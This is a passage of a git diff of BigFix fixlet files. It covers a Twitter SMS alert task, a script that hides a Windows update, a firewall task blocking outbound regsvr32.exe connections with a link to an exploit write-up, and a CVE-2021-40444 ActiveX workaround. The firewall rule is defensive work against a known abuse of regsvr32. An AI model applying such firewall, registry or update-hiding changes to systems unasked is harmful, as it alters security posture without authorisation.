-<UL>
-<LI>Create the directory ‘c:\BigTweet’
-<LI>Download and install .net 4 </FONT></FONT></SPAN><A href="http://www.microsoft.com/en-us/download/details.aspx?id=17851"><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN><FONT color=#000080>http://www.microsoft.com/en-us/download/details.aspx?id=17851</FONT></FONT></FONT></SPAN></A>
-<P><FONT color=#000080></FONT></P></LI></UL><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN>
-<P dir=ltr align=left><FONT color=#000080></FONT></P>
-<LI>TWT
-<UL>
-<LI>Download twt </FONT></FONT></SPAN><A href="https://code.google.com/p/twt/"><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN><FONT color=#800080>https://code.google.com/p/twt/</FONT></FONT></FONT></SPAN></A>
-<LI><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN>Extract binary and xml configuration file to ‘c:\BigTweet’</SPAN></FONT></FONT>
-<LI><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN>Configure OAUTH against your Twitter SMS Relay Account using command twt –config
-<P></P></LI></UL>
-<P dir=ltr align=left></P>
-<LI>Twitter Follow Accounts
-<UL>
-<LI>In order to receive these Twitter SMS Notifications, users must follow the Twitter SMS Relay Account and turn on Mobile Notifications for this user.</SPAN></LI></UL></LI></UL>
-<P><STRONG><FONT color=#ff0000>Note:</FONT></STRONG> By Default, the is scheduled to run once every hour.&nbsp;</P></FONT></FONT>]]></Description>
-    <Relevance>exists main gather service</Relevance>
-    <Relevance><![CDATA[version of client >= "9.0"]]></Relevance>
-    <Relevance>(name of operating system starts with &quot;Win&quot;)</Relevance>
-    <Relevance>exist file &quot;c:\BigTweet\alert.xml&quot;</Relevance>
-    <Category>IEM Maintenance</Category>
-    <Source>mike.english@us.ibm.com</Source>
-    <SourceReleaseDate>2015-06-24</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 24 Jun 2015 17:03:52 +0000</Value>
-    </MIMEField>
-    <Domain>BES </Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action parameter query "sitename" with description "Please enter the site name to check relevant fixlets against:" with default value "Enterprise Security"
-
-if {exist file "c:\BigTweet\alert.xml"}
-//Tweet Results
-//No Relevant Endpoints
-	if {(((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string) | "0") = "0"}
-		wait cmd.exe /C "c:\BigTweet\twt.exe" -q {now} No applicable endpoints to fixlets in site {parameter "sitename" of action}
-
-	//answer is greater than previous
-	elseif {(((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string) | "0") > ((value of setting "BIGTWEET_Enterprise Security" of client) | "0")}
-		wait cmd.exe /C "c:\BigTweet\twt.exe" -q {now} {((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string)} applicable endpoints to fixlets in site {parameter "sitename" of action}. An increase of {(((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string) | "0") as integer - ((value of setting "BIGTWEET_Enterprise Security" of client) | "0") as integer}
-
-	//answer is less than than previous
-	elseif {(((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string) | "0") < ((value of setting "BIGTWEET_Enterprise Security" of client) | "0")}
-		wait cmd.exe /C "c:\BigTweet\twt.exe" -q {now} {((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string)} applicable endpoints to fixlets in site {parameter "sitename" of action}. A decrease of {((value of setting "BIGTWEET_Enterprise Security" of client) | "0") as integer - (((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string) | "0") as integer}
-
-	//answer is = to previous
-	elseif {(((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string) | "0") = ((value of setting "BIGTWEET_Enterprise Security" of client) | "0")}
-		wait cmd.exe /C "c:\BigTweet\twt.exe" -q {now} {((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string)} applicable endpoints to fixlets in site {parameter "sitename" of action}. No change from last check.
-
-	endif
-
-setting "BIGTWEET_{parameter "sitename" of action}"="{((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string) | "0"}" on "{now}" for client
-
-delete "c:\BigTweet\alert.xml"
-
-endif]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : BigTweet v2.1
+  ID       : 6112
+  Author   : menglish
+  Domain   : BES
+  Imported : 2015-06-26T08:56:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>BigTweet v2.1</Title>
+    <Description><![CDATA[<P><STRONG><FONT size=4>BigTweet</FONT></STRONG></P><SPAN lang=EN><FONT size=3 face=Calibri><FONT size=3 face=Calibri>
+<P dir=ltr align=left>This requires two tasks. 1)BigTweet Scheduled Task Setup v2.1 & 2)BigTweet v2.1</P>
+<P dir=ltr align=left>BigTweet allows you to interface with Twitter and their free highly scalable SMS system for notifications.</P>
+<P dir=ltr align=left>This example will use a BigFix Rest API Query within a scheduled task&nbsp;to report on the number of fixlets that are relevant in a specific site. If relevant fixlets are found, it will send a tweet (using twt) which will notify you via text messaging.</P><B>
+<P dir=ltr align=left>Setup:</P>
+<UL></B>
+<P dir=ltr align=left>
+<LI>Twitter SMS Relay Account
+<UL>
+<LI>Create a Twitter Account used for relaying SMS (example @BigTweet111)
+<LI>Under Account Settings, set ‘Tweet privacy’ to ‘Protect my Tweets’
+<P></P></LI></UL>
+<P dir=ltr align=left></P>
+<LI>BigFix Server
+<UL>
+<LI>Create the directory ‘c:\BigTweet’
+<LI>Download and install .net 4 </FONT></FONT></SPAN><A href="http://www.microsoft.com/en-us/download/details.aspx?id=17851"><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN><FONT color=#000080>http://www.microsoft.com/en-us/download/details.aspx?id=17851</FONT></FONT></FONT></SPAN></A>
+<P><FONT color=#000080></FONT></P></LI></UL><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN>
+<P dir=ltr align=left><FONT color=#000080></FONT></P>
+<LI>TWT
+<UL>
+<LI>Download twt </FONT></FONT></SPAN><A href="https://code.google.com/p/twt/"><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN><FONT color=#800080>https://code.google.com/p/twt/</FONT></FONT></FONT></SPAN></A>
+<LI><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN>Extract binary and xml configuration file to ‘c:\BigTweet’</SPAN></FONT></FONT>
+<LI><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN>Configure OAUTH against your Twitter SMS Relay Account using command twt –config
+<P></P></LI></UL>
+<P dir=ltr align=left></P>
+<LI>Twitter Follow Accounts
+<UL>
+<LI>In order to receive these Twitter SMS Notifications, users must follow the Twitter SMS Relay Account and turn on Mobile Notifications for this user.</SPAN></LI></UL></LI></UL>
+<P><STRONG><FONT color=#ff0000>Note:</FONT></STRONG> By Default, the is scheduled to run once every hour.&nbsp;</P></FONT></FONT>]]></Description>
+    <Relevance>exists main gather service</Relevance>
+    <Relevance><![CDATA[version of client >= "9.0"]]></Relevance>
+    <Relevance>(name of operating system starts with &quot;Win&quot;)</Relevance>
+    <Relevance>exist file &quot;c:\BigTweet\alert.xml&quot;</Relevance>
+    <Category>IEM Maintenance</Category>
+    <Source>mike.english@us.ibm.com</Source>
+    <SourceReleaseDate>2015-06-24</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 24 Jun 2015 17:03:52 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action parameter query "sitename" with description "Please enter the site name to check relevant fixlets against:" with default value "Enterprise Security"
+
+if {exist file "c:\BigTweet\alert.xml"}
+//Tweet Results
+//No Relevant Endpoints
+	if {(((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string) | "0") = "0"}
+		wait cmd.exe /C "c:\BigTweet\twt.exe" -q {now} No applicable endpoints to fixlets in site {parameter "sitename" of action}
+
+	//answer is greater than previous
+	elseif {(((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string) | "0") > ((value of setting "BIGTWEET_Enterprise Security" of client) | "0")}
+		wait cmd.exe /C "c:\BigTweet\twt.exe" -q {now} {((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string)} applicable endpoints to fixlets in site {parameter "sitename" of action}. An increase of {(((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string) | "0") as integer - ((value of setting "BIGTWEET_Enterprise Security" of client) | "0") as integer}
+
+	//answer is less than than previous
+	elseif {(((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string) | "0") < ((value of setting "BIGTWEET_Enterprise Security" of client) | "0")}
+		wait cmd.exe /C "c:\BigTweet\twt.exe" -q {now} {((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string)} applicable endpoints to fixlets in site {parameter "sitename" of action}. A decrease of {((value of setting "BIGTWEET_Enterprise Security" of client) | "0") as integer - (((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string) | "0") as integer}
+
+	//answer is = to previous
+	elseif {(((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string) | "0") = ((value of setting "BIGTWEET_Enterprise Security" of client) | "0")}
+		wait cmd.exe /C "c:\BigTweet\twt.exe" -q {now} {((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string)} applicable endpoints to fixlets in site {parameter "sitename" of action}. No change from last check.
+
+	endif
+
+setting "BIGTWEET_{parameter "sitename" of action}"="{((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string) | "0"}" on "{now}" for client
+
+delete "c:\BigTweet\alert.xml"
+
+endif]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Block KB 3114717 - MS Office Issues - Windows (9143).bes b/Sites/Windows Management/Fixlets/Fixlets/Block KB 3114717 - MS Office Issues - Windows (9143).bes
index 0926c0f9f..277a34f0a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Block KB 3114717 - MS Office Issues - Windows (9143).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Block KB 3114717 - MS Office Issues - Windows (9143).bes	
@@ -1,75 +1,75 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Block KB 3114717 - MS Office Issues - Windows
-  ID       : 9143
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-02-12T18:45:58
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Block KB 3114717 - MS Office Issues - Windows</Title>
-    <Description><![CDATA[<P>BETA. I'm not sure how to write relevance to get this to only be applied when it should, or how to confirm it applied properly. It also seems like it will only successfully block an update that is not installed, but known.</P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>not exists keys whose(exists values &quot;DisplayName&quot; whose(it as string as lowercase contains &quot;kb3114717&quot; AND it as string as lowercase contains &quot;32-bit&quot;) of it) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of (x64 registries;x32 registries)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-02-12</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Sat, 13 Feb 2016 01:40:35 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-delete __createfile
-
-createfile until END_OF_FILE
-If Wscript.Arguments.Count = 0 Then
-    WScript.Echo "Syntax: HideWindowsUpdate.vbs [Hotfix Article ID]" & vbCRLF & _
-                 "Examples:" & vbCRLF & _
-                 "  - Hide KB940157: HideWindowsUpdate.vbs 940157"
-    WScript.Quit 1
-End If
-
-Dim hotfixId
-hotfixId = WScript.Arguments(0)
-
-Dim updateSession, updateSearcher
-Set updateSession = CreateObject("Microsoft.Update.Session")
-Set updateSearcher = updateSession.CreateUpdateSearcher()
-
-Wscript.Stdout.Write "Searching for pending updates..."
-Dim searchResult
-Set searchResult = updateSearcher.Search("IsInstalled=0")
-
-Dim update, kbArticleId, index, index2
-WScript.Echo CStr(searchResult.Updates.Count) & " found."
-For index = 0 To searchResult.Updates.Count - 1
-    Set update = searchResult.Updates.Item(index)
-    For index2 = 0 To update.KBArticleIDs.Count - 1
-        kbArticleId = update.KBArticleIDs(index2)
-        If kbArticleId = hotfixId Then
-            WScript.Echo "Hiding update: " & update.Title
-            update.IsHidden = True
-        End If
-    Next
-Next
-END_OF_FILE
-
-delete __Download\HideWindowsUpdate.vbs
-copy __createfile __Download\HideWindowsUpdate.vbs
-
-waithidden cmd /c cscript __Download\HideWindowsUpdate.vbs 3114717 > __Download\HideWindowsUpdate_3114717.log
-]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Block KB 3114717 - MS Office Issues - Windows
+  ID       : 9143
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-02-12T18:45:58
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Block KB 3114717 - MS Office Issues - Windows</Title>
+    <Description><![CDATA[<P>BETA. I'm not sure how to write relevance to get this to only be applied when it should, or how to confirm it applied properly. It also seems like it will only successfully block an update that is not installed, but known.</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists keys whose(exists values &quot;DisplayName&quot; whose(it as string as lowercase contains &quot;kb3114717&quot; AND it as string as lowercase contains &quot;32-bit&quot;) of it) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of (x64 registries;x32 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-02-12</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 13 Feb 2016 01:40:35 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+delete __createfile
+
+createfile until END_OF_FILE
+If Wscript.Arguments.Count = 0 Then
+    WScript.Echo "Syntax: HideWindowsUpdate.vbs [Hotfix Article ID]" & vbCRLF & _
+                 "Examples:" & vbCRLF & _
+                 "  - Hide KB940157: HideWindowsUpdate.vbs 940157"
+    WScript.Quit 1
+End If
+
+Dim hotfixId
+hotfixId = WScript.Arguments(0)
+
+Dim updateSession, updateSearcher
+Set updateSession = CreateObject("Microsoft.Update.Session")
+Set updateSearcher = updateSession.CreateUpdateSearcher()
+
+Wscript.Stdout.Write "Searching for pending updates..."
+Dim searchResult
+Set searchResult = updateSearcher.Search("IsInstalled=0")
+
+Dim update, kbArticleId, index, index2
+WScript.Echo CStr(searchResult.Updates.Count) & " found."
+For index = 0 To searchResult.Updates.Count - 1
+    Set update = searchResult.Updates.Item(index)
+    For index2 = 0 To update.KBArticleIDs.Count - 1
+        kbArticleId = update.KBArticleIDs(index2)
+        If kbArticleId = hotfixId Then
+            WScript.Echo "Hiding update: " & update.Title
+            update.IsHidden = True
+        End If
+    Next
+Next
+END_OF_FILE
+
+delete __Download\HideWindowsUpdate.vbs
+copy __createfile __Download\HideWindowsUpdate.vbs
+
+waithidden cmd /c cscript __Download\HideWindowsUpdate.vbs 3114717 > __Download\HideWindowsUpdate_3114717.log
+]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Block Regsvr32 in Windows Firewall (20257).bes b/Sites/Windows Management/Fixlets/Fixlets/Block Regsvr32 in Windows Firewall (20257).bes
index 21bc61a88..a67a6be44 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Block Regsvr32 in Windows Firewall (20257).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Block Regsvr32 in Windows Firewall (20257).bes	
@@ -1,58 +1,58 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Block Regsvr32 in Windows Firewall
-  ID       : 20257
-  Author   : baiyf
-  Domain   : BESC
-  Imported : 2016-04-27T07:54:05
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Block Regsvr32 in Windows Firewall</Title>
-    <Description><![CDATA[
-<TABLE><TBODY><TR><TD> <P>This&nbsp;task enforces a winodws firewall filter to disable Regsvr32 from connecting to remote locations.</P> <P><STRONG>Note: </STRONG>The task is released in <A href="https://bigfix.me/">https://bigfix.me/</A>, which is not an official release channel of IBM BigFix. We highly suggest testing the content before deploying to production. Use of the content is done at the user's own risk and the user will be solely responsible for any damage to any computer system or loss of data that results from use of the content.</P> <P><FONT color=#ff0000><STRONG>Warning: This fixlet will enable the windows firewall and add necessary rule to block outbound connection for Regsvr32.exe</STRONG></FONT></P></TD></TR></TBODY></TABLE>
-]]></Description>
-    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
-    <Relevance>not exists values whose(it as string as lowercase contains &quot;block regsvr32&quot;) of keys &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules&quot; of native registry</Relevance>
-    <Category>Unspecified</Category>
-    <SourceID>Unspecified</SourceID>
-    <SourceReleaseDate>2016-04-27</SourceReleaseDate>
-    <SourceSeverity>Unspecified</SourceSeverity>
-    <CVENames>Unspecified</CVENames>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Action ID="Action21062">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to block Regsvr32.exe in firewall</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enable Firewall
-waithidden NetSh Advfirewall set allprofiles state on
-
-//Disable Regsvr32 & Regsvr
-waithidden netsh advfirewall firewall add rule name="Block Regsvr32" dir=out action=block program="{pathname of file "regsvr32.exe" of system folder}" enable=yes profile=any
-
-// Disable Regsvr32 if x64 OS
-if {x64 of operating system}
-
-waithidden netsh advfirewall firewall add rule name="Block Regsvr32 in SysWOW64" dir=out action=block program="{pathname of file "regsvr32.exe" of system wow64 folder}" enable=yes profile=any
-
-endif]]></ActionScript>
-    </Action>
-    <Action ID="Action21063">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to view the blog about the exploit</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://subt0x10.blogspot.sg/2016/04/bypass-application-whitelisting-script.html</ActionScript>
-    </Action>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Block Regsvr32 in Windows Firewall
+  ID       : 20257
+  Author   : baiyf
+  Domain   : BESC
+  Imported : 2016-04-27T07:54:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Block Regsvr32 in Windows Firewall</Title>
+    <Description><![CDATA[
+<TABLE><TBODY><TR><TD> <P>This&nbsp;task enforces a winodws firewall filter to disable Regsvr32 from connecting to remote locations.</P> <P><STRONG>Note: </STRONG>The task is released in <A href="https://bigfix.me/">https://bigfix.me/</A>, which is not an official release channel of IBM BigFix. We highly suggest testing the content before deploying to production. Use of the content is done at the user's own risk and the user will be solely responsible for any damage to any computer system or loss of data that results from use of the content.</P> <P><FONT color=#ff0000><STRONG>Warning: This fixlet will enable the windows firewall and add necessary rule to block outbound connection for Regsvr32.exe</STRONG></FONT></P></TD></TR></TBODY></TABLE>
+]]></Description>
+    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
+    <Relevance>not exists values whose(it as string as lowercase contains &quot;block regsvr32&quot;) of keys &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules&quot; of native registry</Relevance>
+    <Category>Unspecified</Category>
+    <SourceID>Unspecified</SourceID>
+    <SourceReleaseDate>2016-04-27</SourceReleaseDate>
+    <SourceSeverity>Unspecified</SourceSeverity>
+    <CVENames>Unspecified</CVENames>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action21062">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to block Regsvr32.exe in firewall</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enable Firewall
+waithidden NetSh Advfirewall set allprofiles state on
+
+//Disable Regsvr32 & Regsvr
+waithidden netsh advfirewall firewall add rule name="Block Regsvr32" dir=out action=block program="{pathname of file "regsvr32.exe" of system folder}" enable=yes profile=any
+
+// Disable Regsvr32 if x64 OS
+if {x64 of operating system}
+
+waithidden netsh advfirewall firewall add rule name="Block Regsvr32 in SysWOW64" dir=out action=block program="{pathname of file "regsvr32.exe" of system wow64 folder}" enable=yes profile=any
+
+endif]]></ActionScript>
+    </Action>
+    <Action ID="Action21063">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to view the blog about the exploit</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://subt0x10.blogspot.sg/2016/04/bypass-application-whitelisting-script.html</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/CVE-2021-40444_ Activate Workaround_ Disable ActiveX Download (26876).bes b/Sites/Windows Management/Fixlets/Fixlets/CVE-2021-40444_ Activate Workaround_ Disable ActiveX Download (26876).bes
index ce4869d04..f6d843a00 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/CVE-2021-40444_ Activate Workaround_ Disable ActiveX Download (26876).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/CVE-2021-40444_ Activate Workaround_ Disable ActiveX Download (26876).bes	
@@ -1,61 +1,61 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : CVE-2021-40444: Activate Workaround: Disable ActiveX Download
-  ID       : 26876
-  Author   : trn
-  Domain   : BESC
-  Imported : 2021-09-11T08:16:52
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>CVE-2021-40444: Activate Workaround: Disable ActiveX Download</Title>
-    <Description>Workaround for CVE-2021-40444 </Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>Product type of operating system = NT Workstation product type</Relevance>
-    <Relevance>if (not exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones&quot; of native registry) then (true) else (4 != number of keys (&quot;0&quot;; &quot;1&quot;; &quot;2&quot;; &quot;3&quot;) whose (exists value &quot;1001&quot; whose (it as string as integer = 3) of it and exists value &quot;1004&quot; whose (it as string as integer = 3) of it) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones&quot; of native registry)</Relevance>
-    <Category>Workaround</Category>
-    <Source>Trevor Norrey</Source>
-    <SourceReleaseDate>2021-09-08</SourceReleaseDate>
-    <CVENames>CVE-2021-40444</CVENames>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Sat, 11 Sep 2021 15:06:09 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
-
-if x64 of operating system
-
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1001&quot;=dword:00000003
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1004&quot;=dword:00000003
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1001&quot;=dword:00000003
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1004&quot;=dword:00000003
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1001&quot;=dword:00000003
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1004&quot;=dword:00000003
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1001&quot;=dword:00000003
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1004&quot;=dword:00000003
-
-else
-
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1001&quot;=dword:00000003
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1004&quot;=dword:00000003
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1001&quot;=dword:00000003
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1004&quot;=dword:00000003
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1001&quot;=dword:00000003
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1004&quot;=dword:00000003
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1001&quot;=dword:00000003
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1004&quot;=dword:00000003
-
-endif</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : CVE-2021-40444: Activate Workaround: Disable ActiveX Download
+  ID       : 26876
+  Author   : trn
+  Domain   : BESC
+  Imported : 2021-09-11T08:16:52
+  Source   : bigfixm1_main @ BES-Root
+-->
